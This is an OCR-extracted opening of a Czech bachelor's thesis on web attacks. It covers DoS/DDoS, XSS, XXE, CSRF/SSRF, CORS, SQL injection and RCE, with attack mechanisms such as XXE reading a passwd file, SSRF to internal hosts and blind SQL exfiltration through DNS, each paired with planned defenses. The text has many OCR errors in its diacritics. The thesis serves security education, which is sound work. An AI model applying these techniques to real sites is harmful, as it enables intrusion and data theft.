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ABSTRAKT

Tato bakalatska prace analyzuje riizné typy utokii na webové stranky, popisuje jejich pticiny,
zpusoby provedeni a moznosti obrany proti nim. Jsou zde popsany problematiky utoka a
zranitelnosti z teoretického hlediska, praktické ukazky jednotlivych utokli a navody na

implementaci ochrannych opatfeni s dirazem na prevenci a bezpecnostni osvédcené

postupy.

Teoretickd cast pojednava o nejcastéjSich utocich a zranitelnostech webovych stranek,
popisuje jejich variace, techniky a dopady na aplikace. Zabyva se také ochrannymi
technikami pro jednotlivé itoky a obsahuje navody na jejich implementaci. Déle se vénuje
zakladim kryptografickych zranitelnosti, konkrétné utokiim na bezpe€nostni certifikaty

SSL/TLS a principiim jejich fungovani.

V praktické Casti se prace vénuje podrobnéjsim navodim na provedeni utokt, které maji za
cil priblizit ¢tenafi postup tto¢nika a tim usnadnit pochopeni toho, jak bezpe¢nostni techniky
funguji, kdy a jak by mély byt nasazeny pro lepsi prevenci. V posledni ¢asti nasleduje souhrn
doporuc¢ené¢ho postupu pro vyvoj zabezpecené webové stranky — od navrhu az po

implementaci.

Klicova slova: kybernetickéa bezpe€nost, Utoky, zranitelnosti, webové aplikace

ABSTRACT

This bachelor's thesis analyzes various types of attacks on websites, describing their causes,
methods of execution, and possible defenses against them. It covers the issue of attacks and
vulnerabilities from a theoretical perspective, provides practical demonstrations of
individual attacks, and offers guidelines for implementing protective measures with an

emphasis on prevention and best security practices.

The theoretical part discusses the most common web attacks and vulnerabilities, describing
their variations, techniques, and impacts on applications. It also addresses protective
techniques for each attack and includes instructions for their implementation. Additionally,
it covers the basics of cryptographic vulnerabilities, specifically attacks on SSL/TLS security

certificates and their principles of operation.



The practical part of the thesis provides detailed instructions on executing attacks to give
readers insight into an attacker's approach, making it easier to understand how security
techniques work and when and how they should be deployed for better prevention. The final
section summarizes the recommended procedures for developing a secure website, from

design to implementation.

Keywords: cybersecurity, attacks, vulnerabilities, web applications



Dé&kuji doc. Ing. Petr Silhavému, Ph.D. za pomoc pii vedeni bakalaiské prace. Mé
pode€kovani patii téz roding, priteli a pratelim, ktefi mé po celou dobu prace vselijak
podporovali.


https://formatovani-dokumentu.cz/navod/bakalarska-prace




L UAYZ0.J ) IS .13
I TEORETICKA CAST 14
1 ANALYZA TYPU UTOKU NA WEBOVE STRANKY ....cooveruneresnerssnsrssssssseseons 15
1.1 DENIAL-OF-SERVICE (DOS) A DISTRIBUTED DENIAL-OF-SERVICE (DDOS)
UTOKY .ttt ettt etee et et e st e e e it e bt e saeeeabeeeaeeeabeessbeeabeeeaeeenbeesntesnbeansaeenbeesnseenseans 15
1.2 CROSS-SITE SCRIPTING (XSS) UTOKY ...cccutieerieeereeeeieeeereeeereeeeveeeeareeeenseeeenneeens 19
1.3 XML EXTERNAL ENTITY (XXE) UTOKY ...eeeetiiieiiieeiieeeieeeeeiee e eiveeeeveesivee e 21
1.3.1  ZaAKIadni PrinCIPY ..eeceveeeuieeiieiieiieeiieeie et ettt eveesaeeebeeseaeesaesnse e 21
1.4  CROSS-SITE A SERVER-SIDE REQUEST FORGERY (CSRF A SSRF ) UTOKY .......... 22
2 POPIS ZRANITELNOSTI A BEZPECNOSTNICH RIZIK 23
2.1 CROSS-ORIGIN RESOURCE SHARING (CORS) ZRANITELNOSTL.......cccueeevieiiennenne 23
2.2 SQL INJECTION (SQLI) ZRANITELNOSTI ...ceeeuvveeeireeeireenieeenreeenreesnnreesnnseesnneeenns 24
2.3 REMOTE CODE EXECUTION (RCE) ZRANITELNOSTL......cerueeeurieieesieeiieeieeseieeeeans 25
2.4 CLICKJACKING ZRANITELNOSTI...cccuttrtteruteaieenitenteeniteeieesstesieesmeesneesseesseenaeeenne 26
2.5 FILE INCLUSION (LFI/RFI) ZRANITELNOSTI .....vvveeviieeireeeiieeereeeeneeeseveeeseveeenenens 26
3 OCHRANNE TECHNIKY A PREVENCE ........uooeeeereerenerensesssesesessesssessessssens 28
3.1 OCHRANNE TECHNIKY PROTIDDOS A DOS ....ccoiiiiiiiiieeeee e 28
3.2 OCHRANNE TECHNIKY PROTI XSS ..ottt sttt 29
3.3 OCHRANNE TECHNIKY PROTI XXE ....ccciiiiiiiiiiiieiieeie et e 30
3.4  OCHRANNE TECHNIKY PROTI CORS ZRANITELNOSTEM ......cceeervreenereeenereeennreennnns 31
3.5 OCHRANNE TECHNIKY PROTI CSREF ...cooiiiiiiiiiiiiie e 32
3.6 OCHRANNE TECHNIKY PROTI SQL INJECTION ......cccoviuiiieeeiiiieeeecieeeeeeieee e 32
3.7  OCHRANNE TECHNIKY PROTIRCE .......ccccoiiiiiiiie e 33
3.8 OCHRANNE TECHNIKY PROTI CLICKJACKINGU ....ccttiriiieiieniiienieesieeniieeieeseeeseens 33
3.9  OCHRANNE TECHNIKY PROTI LFI/RFT......cccciiiiiiiiiiiiiie e 34
3.10 ANALYZA HROZEB A RIZIK WEBOVYCH APLIKACI POMOCI STRIDE..................... 34
3.11 ZAKLADY KRYPTOGRAFICKYCH ZRANITELNOSTI ...ccvveeiiieeieeieenieeereeneneeseenneeenne 36
II PRAKTICKA CAST .38
4  PRAKTICKE UKAZKY BEZPECNOSTNiCH UTOKU .39
4.1 PRIPRAVA PROSTREDI......eotiiiiiiiiieiiieette ettt ettt sttt et 39
4.2 XXE UTOK .ttt ettt sttt ettt sttt sbe et s enae e 41
4.3 SQLITUTOK ittt e et e e ettt e e e e tae e e e eeaaeeeeeaasaeeeeeaseeeeeesseeaeanns 43
44 CSRFE ASSRE ..ottt ettt b e eneenan 46
4.5 LETTUTOK ottt ettt et ettt ettt st e bt e et e beeeateen 48



4.6 XSS UTOKY e e e e e e et e e e e e e e e e e e e e e e e e e e e e e aaeeeeeeeenenaas 50

4.7 CORS UTOK ...ttt ettt e e e e e e e et e e s e e eaaeeesaveeeeaseseeaseseesseeesseeennseeens 53
4.8 ZAKLADY DOS UTOKU ..ottt ettt e et eeaaae e e e enaeaeeeans 54
4.9  DOS UTOK POMOCI RCE ....ccoviiiiiiiiiiieeeeeeeee e e 55
4.10  CLICKIJACKING UTOK ...uutiiiiiiiuiiieeeeiitieeeeeiteeeeeitaeeeeeeaeeeeeeesseeseeeisseeeseesssseeeessseeeeans 57
4.11 DETEKCE ZRANITELNOSTI TLS/SSL....coiriiiiiieieeeeeee e 59
5  DOPORUCENI BEZPECNOSTNICH POSTUPU PRO VYVOJARE .............. 62
Y 7.\ ) S 67
5.1 SHRNUTI VYSLEDKU ...eeiieiiiiieeeeieieeeeeieeeeeeeaeeeeeeteeeeeeeaaeeeeeeaseeeeeeaveeeeeesnseeeeennes 67
5.2 PRINOS AUTORA ...cuviiitiieetie ettt et et et e e e e e et e et e e eaae e e etreeeenseeeeaseeennneas 67
SEZNAM POUZITE LITERATURY ...uvevueeresresressessessessessessessessesssssessessessessessessessssseses 69
SEZNAM OBRAZKU .....oueeverrerrrerresssssessessessesssssssssessessssssessessessassssssssessassasssssessassssssesses 75
SEZNAM TABULEK ......coveveeuerreressessesessesssesssssssessessssesssssssesssssssesessessssesssssssessessssessssesses 76
SEZNAM POUZITYCH SYMBOLU A ZKRATEK 77

SEZNAM PRILOH .....oeeeeeeeeveeeeeseseseessesesssessssssssessssssssssssessssssssssssssssssssssssssssssssssssnsnssas 79




UTB ve Zliné, Fakulta aplikované informatiky 13

UvVOD

V dnesni dobé predstavuji webové stranky stale popularn€jsi a aktudlng€jsi feseni pro kazdé
podnikani. Malé i velké firmy si vytvareji webové aplikace s cilem prtilakat zakazniky, a
zaroven se stale Castéji objevuji hackerti, ktefi se snazi ziskat citliva data pro své vlastni

ucely, jelikoz v souvislosti s natizenim GDPR je web stale Castéji a lakavejsim cilem Gtokda.

Otazka, jak tato data efektivné zabezpecit, je proto ¢im dal naléhavéjsi. Jak lze predejit
novym a sofistikovan¢jsSim utoklim uz ve fazi vyvoje aplikace nebo webové stranky? Jaké

typy utokit mohou firmy ocekavat a na jaké zranitelnosti by se mély ptipravit?

Tyto a mnoho dalSich otazek si dnes kladou vyvojaii webovych stranek, kteti zaroven museji
plnit vysoké pozadavky svych zdkazniki — ti ofekavaji maximalni funkénost, nejvyssi
moznou bezpecnost svych dat a intuitivni ovladani. Tedy kvalitu, jistotu a ochranu. Pfesné
témto tématiim, tedy rozborim typt utokl a jejich prevenci, je vénovana teoretickd ¢ast

prace.

Druhd cast prace se pak vénuje ukazkdm praktickych utokii na webové stranky, pomoci
kterych je zndzornéno, jak by mohl teoreticky uto¢nik postupovat pro obchéazeni
bezpecnostnich opatieni. Tyto ukazky slouzi k lepSimu pochopeni fungovani jednotlivych
technik zabezpeceni, aby je vyvojafi mohli efektivnéji ptizplisobit potfebam konkrétnich
webovych feSeni, a jsou implementované pomoci nastrojli, uréenych pro bezpecnostni
testovani, jako jsou Kali Linux, Burp Suite a dalsi. Tyto néstroje byly zvoleny pro svou
Sirokou dostupnost a schopnost simulovat rizné typy utoki nebo provadét analyzu sitového

provozu.

Na téchto ptikladech je rovnéZ ukazéano, Ze se zminéné bezpecnostni techniky maji pouZivat
v kombinacich, pro co nejvétsi zabezpeceni dat. Jedna technika sama o sobé totiz Casto

nestaci a mize byt ito¢nikem snadno obejita.

Cilem a pfinosem této prace tak je nejen teoreticky piehled zakladnich typa ttokl a

zranitelnosti, ale i praktické navody, jak témto hrozbam ptedejit. Prace muze slouZit jako

N 24

vzdélavani nebo zavadéni bezpecnostnich opatieni.

Z téchto divodu jsem si zvolila bezpecnost webovych stranek jako téma bakalaiské prace,

jelikoZz mizu posoudit problematiku jak z pohledu zdkaznika, tak i vyvojare.
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I.

TEORETICKA CAST
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1 ANALYZA TYPU UTOKU NA WEBOVE STRANKY

Cilem této kapitoly je zanalyzovat typy Gtokl na webové stranky, jejich mechanismy, typy
a dopady. Zamétuje se na nejcastéjsi typy, jako jsou Denial of Service, Cross site scripting,

XML external entity a jiné.

Tato kapitola rozebira teoretické zéklady, nutné pro pochopeni praktickych ukazek utoku

praktické Casti a lepsi zabezpeceni vlastnich webovych aplikaci.

1.1 Denial-of-Service (DoS) a Distributed Denial-of-Service (DDoS)
utoky

Cilem DoS/DDoS tutoka je zablokovat schopnost sluzby adekvatné a vcas reagovat na
pozadavky skute¢nych uzivatelti. Divody utoku mohou byt riizné — od konkuren¢niho boje,
hacktivismu (digitalni verze aktivismu), pies vydirdni aZ po maskovani jiného utoku

odvedenim pozornosti [1].

Denial of Service (DoS), neboli odepteni sluzby, je typ kybernetického ttoku na webovou
stranku, sit’ nebo jinou online sluzbu. Jeho cilem je znemozZnit poskytovani sluzeb tim, Ze
vytvoii podminky, za kterych skute¢ni uZivatelé systému neziskaji ptistup ke sluzbé kvuli

omezeni nebo vypadku [1].

Distributed Denial of Service (DDoS), neboli distribuovany DoS, je varianta utoku typu
denial of service. Zpusobuje vypadek nebo omezeni sluzby prostiednictvim vycerpani
vypocetnich zdrojii napadeného systému (nebo sluzeb, na kterych je jeho fungovani zavislé)
velkym mnoZstvim nevyzadanych pozadavka [1].

Mezirocné se pocet téchto typl utokti zvysil o 20 % podle dat z Cloudflare reportu za rok

2024. Konkrétné se jednalo o 4 miliony DDoS ttokd, z nichZ 2,2 milionu bylo na sitové

vrstvé a 1,8 milionu tvotily HTTP DDoS ttoky. [2]
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Distribution of DDoS attack types 2B .\ ouorLare
2024 Q2
2.2 million 1.8 million
L3/4 DDoS attacks HTTP DDoS attacks

55%

lUDP i Other l Known botnets iFake or headless lo'he'l

TCcP browsers

38% 9% 50% 29% 13% 8%

Suspicious HTTP
SYN RST attributes

-—

60% 27%

Other
13%

Obrazek 1 Ilustrace vyskytu utokti typu DoS za rok 2024

(Zdroj: [2])
Tyto utoky rozdélujeme podle vrstev modelu ISO/OSI [3] nasledovné:

1. Volumetrické utoky [1],[4] (Network floods na sitové a transportnich vrstvach),
jejichz cilem je vycerpani kapacity Sitky pasma sité. Historicky se jedna o
nejjednodussi (a nejstarsi) typ ttoki, jelikoz nebylo potfeba navazovat TCP spojeni

s obéti.

Typickym piikladem téchto toki jsou ICMP flood, ktery vyuziva Internet Control
Message Protocol, pouzivany pro diagnostiku siti, a zahlcuje cilové zatizeni velkym
mnozstvim ICMP echo-request zprav. Tento pozadavek spotiebovava serverové

zdroje a Sitku pasma, coz vede k pretiZeni. [5]

Dalsim ptikladem je UDP flood, ktery zahlcuje cilové zatizeni tim, Ze posila requesty
na informace od aplikace naslouchajici na ur¢itém portu. Na tyto pozadavky zatizeni

odpovida, coz také vede k pfetizeni a vyCerpani Sitky pasma.

Pro sitovou vrstvu pak nejrtiznéj$i manipulace s ICMP: Ping of Death, Ping Flood,
Smurf Attack. V poslednim ptipadé¢ utocnik posle ICMP echo-request paket na IP
broadcast adresu routeru, ktery ho rozesle vSem zafizenim v siti. Zatizeni odpovi

ICMP echo-reply paketem na adresu obéti, coz zase vede k pfetizeni mnozstvim
odpoveédi. [6]
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Jako separdtni podkategorii mizeme uvést Amplification utoky. Tyto utoky
vyuzivaji rekurzivni name servery, ¢imz dochazi k pakovému efektu a mnozstvi
odpovédi, které jsou zasilany obéti, vzroste na 200 az 300%. Amplification utoky
d€lime podle pouzivaného protokolu na NTP Amplification a DNS Amplification,
kde v poslednim ptipad¢ utocnik posle malé dotazy na oteviené DNS servery s IP
obéti. DNS pak odpovidaji velkymi zpravami, coz vede k pretizeni. Vyuziva rozdily
mezi malymi dotazy a velkymi odpovéd'mi k zesileni utoku. [4]

Attacker

Bot Target

ICMP ECHO REQUEST
ICMP ECHO REPLY
ICMP ECHO REQUEST
ICMP ECHO REPLY
ICMP ECHO REQUEST

ICMP ECHO REPLY

Obrazek 2 Ilustrace ICMP utoku

(Zdroj: [6])

2. Utoky transportni vrstvy, neboli protokolové titoky, které zneuzivaji samotného
fungovani sitovych protokoli [1]. TCP je totiz zranitelny na nékolika mistech,
napiiklad, v algoritmu ukonceni TCP spojeni, kde probiha tzv. 4-way handshake.
Bé&hem ngj si zatizeni mezi sebou posilaji fidici zpravy (FIN a ACK pakety). Tento
proces lze vyuzit pfi Gtoku tak, ze se, naptiklad, otevie velké mnozstvi spojeni a

jejich ukonceni se umyslné zdrzi, coz vede k zahlceni serveru. [1], [7]

Pfesné tuto zranitelnost vyuziva SYN flood [7], kde Uto¢nik posila velké mnozstvi
SYN paketi (connection request) na server, ktery na kazdy odpovi SYN/ACK
paketem. Uto¢nik viak neodesle zavéreény ACK paket, takZe spojeni ziistanou
neuzaviena. Server ¢eka na dokonceni spojeni, coz zptisobuje pietizeni. Jedna se o

nejfrekventovanéjsi typ utoka. [5]

DalSim typem utoku je ACK flood, kde, na rozdil od SYN flood, uto¢nik posila velké

mnozstvi ACK paketl bez predchoziho navazani spojeni. Tyto pakety ale server stale
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kontroluje (zda spojeni existuje), coz vede k zahlceni tabulek aktivnich spojeni.

Napriklad, ve firewallu. [5]

Utoky na SSL/TLS. Tyto protokoly jsou jesté komplikovan&jsi nez TCP, a tady
utocnik muze cilit na samotny proces instalace SSL/TLS (TLS handshake), odesilani

nezadoucich paketii serveru a jiné. [4]

Utoky na aplikaé&ni vrstvu [1],[4]. Tento typ utoku cili pfimo na aplikaci a zahrnuje
nejen klasicky HTTP flood (server je zahlcen velkym mnozstvim pozadavk, které
se tvaii jako legitimni), ale 1 utoky vyuZzivajici HTTPS, DNS, VoIP, SMTP, FTP a
dalsi protokoly. V piipadé HTTP mize utoénik své aktivity skryvat uvnitf
Sifrovaného SSL/TLS spojeni, coz obranu vyrazn¢ komplikuje. Tento typ ttoku se

déli do nekolika kategorii:

Low and Slow, coZ jsou pomalé mensi utoky. Jedna se o nebezpecny utok kviili jeho
nizké viditelnosti a dlouhodobému trvani. Vétsinou se jedna o utoky na aplikace a

servery. [8]

Utoky, které zpiusobuji vétsi mnoZstvi nezadoucich dotazii na systém. Cilem
téchto utokd je velky uder, po kterém systém neni schopen po né€jakou dobu pfijimat
nové pozadavky. Typicky se jedna o Utok na Windows s vyuzitim tzv. Pingback
DDoS (Pingback je mechanismus, kterym web informuje jiny web, Ze na ngj
odkazal). Ve vétsiné ptipada Ize utok odfiltrovat pomoci HTTP hlavicek, ale ptesto

muze predstavovat vaznou hrozbu. [9]

Utoky, imitujici uZivatele systému. Na rozdil od ptedchoziho typu ttoku tento typ
pouziva velké mnoZstvi neagresivnich boti, coz komplikuje analyzu systému. Casto
vyuzivaji zranitelnosti ve webovych aplikacich, které detekuji pomoci ptedchoziho

neSkodného skenovani sité.

Celkové schéma, reprezentujici rozlozeni DoS/DDoS na vrstvach modelu ISO/OSI

tedy mtize vypadat, naptiklad, takto:
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HTTPS, DNS,

1 l VolP, SMTP, FTP

SSL/TLS attacks

Protokol attacks

Network Floods

ICMP

.

Obrazek 3 Ilustrace utoku podle ISO/OSI
(Zdroj: [10] viastni zpracovani)

1.2 Cross-Site Scripting (XSS) utoky

Cross-Site Scripting, neboli XSS, je zranitelnost zabezpeceni webovych aplikaci, ktera
umoznuje uto¢nikovi vlozit skodlivy kod, obvykle ve formé JavaScriptu, do webové stranky.
Ve vysledku miize Gto¢nik ziskat piistup k citlivym udajim uzivatelt, jako jsou naptiklad

cookies, session tokeny, hesla nebo udaje o uzivateli. [11]

Tento Utok lze provést rliznymi zplsoby. Jednim z nich je napftiklad vloZit komentar k
nakupu na e-shopu, ve kterém je ve skutecnosti zanotfeny skript. V pfipad¢, ze si vyvojar
webové stranky nedal pozor na validaci dat, miize k utoku dojit a skript se spusti pro vSechny

uzivatele, ktefi komentar uvidi.
V soucasnosti XSS utoky nejsou Casté (ale stale mozné) diky nejriiznéjSim bezpecnostnim
technikam, jako jsou Same-Origin Policy, Content Security Policy, validace dat a dalsi, které
jsou podrobnéji rozebrany nize.
XSS utoky Ize rozdélit do tfi hlavnich kategorii:

1. Stored XSS. Jedna se o nejnebezpecndjsi typ XSS. Skodlivy kod je trvale uloZen na

serveru a automaticky se zobrazi kazdému uZivateli, ktery navs$tivi napadenou

stranku, ktera se na zaklad¢ tohoto serveru generuje. [12],[13]
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Prikladem tohoto Utoku miize byt vySe zminény e-shop, kde u kazdého zbozi mize
uzivatel zanechat komentar s recenzi k ndkupu. Pokud se jedna o zranitelny kod a

hodnoceni produktu obsahuje skript, dojde k XSS utoku.
Ptipad zranitelného kodu a XSS je realizovan v praktické Casti.

Reflected XSS. Utok nastavé, kdyz je skodlivy kod soucasti URL pozadavku. V
tomto piipadé musi uto¢nik uZzivatele presvédcit, aby klikl na specidlné upraveny

odkaz, obsahujici skodlivy kod, pomoci emailu nebo osobné. [12],[13]

Po kliknuti na takovy odkaz, kde je skript ulozen v parametrech dotazu (query
parameters), se uzivatel dostane na stranku, kterou server vygeneroval na zakladé
obdrzené URL. Misto piivodni stranky se tedy zobrazi stranka s parametry, které
zadal uto¢nik. V tomto okamziku muze uto¢nik ziskat citliva data, jako jsou cookies

a podobng. [12], [13]

Ptikladem muze byt stranka, ktera pouziva query parametry k rozhodovéani, jaka data
se maji uzivateli zobrazit (mobilni verze, klasicky prohlize¢ apod.). Pokud se tato

data posilaji pfimo do HTML a zobrazuji klientovi, miiZze dojit k Gtoku.

Nebo se miiZze jednat o stranku rezervace, kde vyvojat zapomnél pouzit ochranné
techniky typu local storage, htmlSpecialChars a jin¢, zminéné v kapitole ,,Ochranné

techniky a prevence®.
Ptipad zranitelného kodu a XSS je rovnéz realizovan v praktické ¢asti.

DOM-Based XSS. Teno typ XSS se zabyva nasazenim skriptu do DOM webové
stranky, ktery se spusti, jakmile bude JavaScript zpracovan. [12],[13] Stejné jako v
piipadé reflected XSS miize byt skript pfedan prostiednictvim parametru v URL, ale
v tomto ptipadé dochazi k upravé DOM struktury.

Jelikoz jsou moderni webové stranky zaloZeny na frameworkech jako React, Vue a

dal$ich, kde vétSina logiky probihd pravé v JavaScriptu, je tento typ utoku bézny.

Ptikladem tohoto utoku miize byt stranka, kterd pomoci JavaScriptu aktualizuje

vysledky vyhledavani a ptijima vstup z URL parametri.

Ptipad zranitelného kodu a XSS bude také realizovan v praktické ¢asti.
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1.3 XML External Entity (XXE) atoky

Nekteré aplikace pro prenos dat mezi klientem a serverem pouzivaji XML. XML je
popularni diky snadné integraci pomoci API, ale zaroven obsahuje nékolik potencialné

nebezpecnych funkei. Jednou z nich je XML External Entity, neboli XEE. [14]

XEE je zranitelnost na aplika¢ni vrstvé, diky které se titocnik mize dostat ke zpracovani
XML v aplikaci. Napiiklad miize prohledavat data na serveru nebo dokonce pracovat se

servery, ke kterym ma aplikace piistup. [14]

XEE se ¢asto pouziva v kombinaci se SSRF (falSovani pozadavki na strané serveru), které

bude podrobnéji rozebrano nize.

1.3.1 Zakladni principy

V XML jsou entity odkazy, které se pozdé€ji nahradi konkrétnimi daty. Externi XML entity
jsou jejich specifickym typem, ktery je definovan v souborech DTD, neboli Document Type
Definition (urcuji strukturu a obsah dokumentu). Ty mohou definovat vlastni entity, které

odkazuji na zdroje mimo dokument (naptiklad cestu k souboru nebo URL). [15]

Kdyz XML parser precte tuto externi entitu, nacte jeji obsah ze zdroje, coZ otevira cestu k

XEE.
XEE délime podle pouziti:

1. Pouziti XXE pro extrakci soubori, kdy Uto¢nik specifikuje externi entitu, ktera
obsahuje odkaz na soubor v systému (napft. /user/passwd), a parser tuto entitu nacte

a vlozi jeji obsah do odpovédi aplikace. [16]

2. Pouziti XXE k provedeni utoku typu SSRF vyuziva externi entitu k zadani URL
(napf. http://top-secret.local). Kdyz XML parser zpracuje externi entitu, provede

pozadavek na interni sitovou sluzbu a zpfistupni jinak chranéna data. [15],[17]

3. Pouziti slepé extrakce informaci XXE, kdy uto¢nik neobdrzi pfimou odpovéd’ od

serveru, ale pfenasi citliva data neptimo pies fidici kanal, ktery sam kontroluje. [16]

4. Pouziti slepého XXE k navratu dat z chybovych hlaseni, kdy ato¢nik manipuluje
s externi entitou tak, aby zplsobil chybu XML parseru a ziskal z odpovédi citlivé

udaje (naptiklad cestu k souboru). [16]

Ptiklad realizace XEE bude proveden nize.
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1.4 Cross-Site a Server-Side Request Forgery (CSRF a SSRF ) utoky

CSREF, neboli Cross-Site Request Forgery je Gtok na aplikacni vrstve, ktery nuti uzivatele
provadét nezadouci akce na webové aplikaci, kde je ptfihlasen. [18] Pomoci socialniho
inzenyrstvi se muze jednat naptiklad o situaci, kde se klient pfihlasi do bankovnictvi (server
mu pfifadi relaci pomoci cookies, které uzivatele identifikuji), a zaroven navstivi férum o
top-secret zranitelnostech 2024, kde klikne na odkaz nebo reklamu se Skodlivou strankou,

ktera je nastavena tak, aby odeslala pozadavek na banku bez védomi uZzivatele.

Jakmile uzivatel nacte Skodlivou stranku, skript odesle pozadavek na server cilové aplikace.

Protoze uzivatel ma stale platné cookies, server tento pozadavek zpracovava jako platny.
Schéma CSRF muze byt popsano v nasledujicich krocich:

Utoénik naptiklad vytvoii falesny pozadavek na prevod finanénich prostfedkii na web, a
nasledné vlozi tento pozadavek do odkazu, ktery posle potencidlnim navstévniktim, kteti
mohou byt na webu pfihlaSeni. Poté, co navstévnik klikne na odkaz a neimysiné odesle
pozadavek, web ho ovéfi a prevede finanéni prostfedky z Gctu navstévnika na ti¢et Gito¢nika.

[19]

Druhym, podobnym typem vySe zminéného utoku je SSRF, neboli Server-Side Request
Forgery. Tento typ nuti server (na rozdil od CSRF, kde se nuti uzivatel), k odeslani

pozadavku na jinou sluzbu a vyuziva tak divéry mezi systémy.
Schéma SSRF mize byt popsano nasledovné:

Utoénik vytvori fale$ny pozadavek a odesle ho na webovy server. V tomto piipadé vsak
server sam odeSle HTTP poZzadavek na vzdélenou (Casto interni) sluzbu, kterd divétuje
tomuto serveru a odpovi mu. Utoénik tak miZe ziskat odpovéd’ od systému, ke kterému by

za normalnich okolnosti nemél ptistup. [20]

V dnesni dob¢, dle OWASP Top 10 2024 [21], je typ utoku SSRF v kategorii ,,odstranéné,
ale aktualni“. Metody prevence téchto typu utokit budou rozebrany nize v kapitole

,,Ochranné techniky a prevence*.
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2 POPIS ZRANITELNOSTI A BEZPECNOSTNICH RIZIK

Na rozdil od ptedchozi kapitoly, kde byly rozebrany utoky na webové stranky, se tato ¢ast
zam¢ii na zranitelnosti, které piedstavuji slaba mista v navrhu nebo implementaci webové

aplikace.

V této kapitole se zaméfime na nejcastéjsi typy zranitelnosti, jako je nebezpecné zpracovani

uzivatelskych vstupli nebo nedostatecné ovérovani a autorizace uzivateli.

2.1 Cross-Origin Resource Sharing (CORS) zranitelnosti

Ve vychozim nastaveni webové prohlizece neumozniuji AJAX dotazy na weby kromé toho,
kde se klient nachazi. Tomu se fiké politika stejného ptivodu (SOP) a jedna se o dilezitou
soucast webové bezpecnosti. S tim izce souvisi sdileni zdrojii mezi riznymi pavody (Cross-
Origin Resource Sharing, neboli CORS), coz je bezpe¢nostni mechanismus, ktery umoziuje

ptistup ke zdroji z jiné domény. [22]

Interakce mezi zdroji za€ina odeslanim GET, POST nebo HEAD dotazu na konkrétni zdroj
na serveru, ktery zaroven obsahuje hlavicku Origin, kterd ukazuje na piivod dotazu. Server
oveii hodnotu Origin dotazu a na zakladé€ hlavicky bud’ pfijme (pokud odpovida hodnota v

hlavi¢ce odpovédi Access-Control-Allow-Origin), nebo odmitne. [22]

Odpovéd’ muze obsahovat hlavic¢ky jako Access-Control-Allow-Origin (které zdroje mohou
komunikovat), Access-Control-Allow-Methods (které metody, GET, PUT, DELETE atd.
mohou byt pouZity) nebo Access-Control-Max-Age (udavéa dobu platnosti odpovéedi). [23]

Problém nastava, pokud aplikace neobsahuje allow list v hlavicce, a vypada, jak se Casto
déje, napt. (Access-Control-Allow-Origin: *). V takovém piipadé, pokud je klient pfihlaSen

na http://top-secret.com a zarovenl ma otevienou stranku http://im-a-hacker.com, muze

http://im-a-hacker.com provést jakykoli autentizovany pozadavek na http://top-secret.com,

anizZ by mél piimy pfistup k relacim cookies.

To je zplsobeno tim, Ze prohliZze¢ automaticky pfipojuje cookies (aby udrzel uZivatele
pfihlaSené i pfi pfechazeni mezi riznymi strankami aplikace) k domén¢ http://top-secret.com

pro jakékoliv HTTP pozadavky, vcetné AJAX. [23]

Ukazka bude realizovana nize.


http://top-secret.com/
http://im-a-hacker.com/
http://im-a-hacker.com/
http://top-secret.com/
http://top-secret.com/
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2.2 SQL Injection (SQLi) zranitelnosti

SQL Injection, neboli SQLI, je zranitelnost webové bezpecnosti, ktera umozinuje tto¢nikovi

zasahovat do pozadavku, které aplikace posila databazi (naptiklad zobrazit, mazat nebo

upravovat data, ke kterym by normalné nemél pftistup). To miize vést k Uniku hesel,

platebnich udaji apod. V nékterych piipadech miize tto¢nik dokonce ziskat trvaly zadni

piistup do systému organizace. [9]

Casto se SQL Injection pouziva jako zesileni pro utok typu DoS, zminény vyse.

SQLi delime na nékolik kategorii:

1.

Ziskani skrytych dat, kdy 1ze zménit SQL dotaz tak, aby vratil dalsi vysledky [15].
Naptiklad se miize jednat o e-shop, kde po kliknuti na kategorii ,,podlozky* se
uzivateli zobrazi vSechny podlozky dostupné k ndkupu. Tedy URL dotazu vypada
priblizn¢ takto: http://top-secret.com/?category=podlozky a aplikace posila na
databazi SQL dotaz: SELECT * FROM products WHERE category = 'podlozky’
AND available = true. [9] V pfipadé, Ze aplikace nema zabezpeceni proti SQLI1, tento

dotaz lze zneuzit a zobrazit vSechny informace o produktech.

Naruseni logiky aplikace, kdy je mozné dotaz zménit tak, aby zasahoval do logiky
aplikace [15]. Naptiklad se muze jednat o aplikaci, kde SQL dotaz kontroluje
ptihlaseni uzivatele (jméno a heslo). Utoénik miiZe tuto zranitelnost zneuzit a dostat

se do systému dokonce uplné bez hesla.

. UNION utoky se pouzivaji v piipadech, kdy se vysledky SQL dotazu vraceji v

odpovédich aplikace. Pak 1ze pouzit dodate¢ny dotaz SELECT a ptidat jeho vysledky
k ptivodnimu dotazu pomoci UNION. [15]

Priizkum databaze. Utoénik si mize vyzadat informace o verzi databaze pro
pruzkum pted utokem. Zptisob, jakym se to provadi, zavisi na typu databaze, takze
lze urcit typ databaze podle toho, ktera technika funguje. Naptiklad v Oracle:
SELECT * FROM vS$version. Lze naptiklad i zjistit, jaké tabulky a sloupce v

databazi existuji.

Slepa SQL injekce, kdy se vysledky dotazu, ktery mate pod kontrolou, nevraceji v
odpovédich aplikace. To umoziluje vyvolat mimopasmovou sitovou interakci a

prenést data napiiklad vlozenim dat do DNS dotazu pro doménu. [24]
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Podle aktudlnich dat, kolem 23.4% aplikaci v dneSni dob¢ obsahuji SQL injection

zranitelnost [25].

SQL injection 23.4%
Cross-site scripting (stored)
Malicious file upload 22.7%
Authorisation issue

PHP Multiple Vulnerabilities
Log4Shell (CVE-2021-44228)
Spring4Shell

Weak Password Policy

Database Console Exposure

File path traversal

17.5% 20% 22.5% 25% 2

Obrazek 4 Distribuce zranitelnosti 2024
(Zdroj: [25])
2.3 Remote code Execution (RCE) zranitelnosti

Remote code execution, neboli RCE, je zranitelnost webové bezpecnosti, ktera umoznuje

uto¢nikovi na dalku spustit Skodlivy kéd. RCE probiha riznymi zptsoby:

1. Injection Vulnerabilities [26],[27]. Sem spadaji zranitelnosti vkladani, jako je
SQL injekce, zminénd vyse, nebo command injekce, které vznikaji, kdyz
uzivatelsky vstup neni spravné oSetfen. Pokud uto¢nik zada specialn€ upraveny

vstup, zranitelny systém jeho Cast interpretuje jako spustitelny piikaz.

2. NezabezpeCena deserializace [26],[27], coz je proces, ktery zjednoduSuje
ptenos dat tim, Ze je pfevadi do jediného binarniho fetézce. Pokud neni format

serializace pfisn€ definovan, mize Gto¢nik vytvofit Skodliva serializovana data.

3. Zapis mimo vymezenou oblast paméti [26],[27], neboli Out-of-Bounds Write,
kdy uto¢nik mize umistit data na misto, kde mohou byt chybné& interpretovana

jako spustitelny kod nebo soucast fidiciho toku.

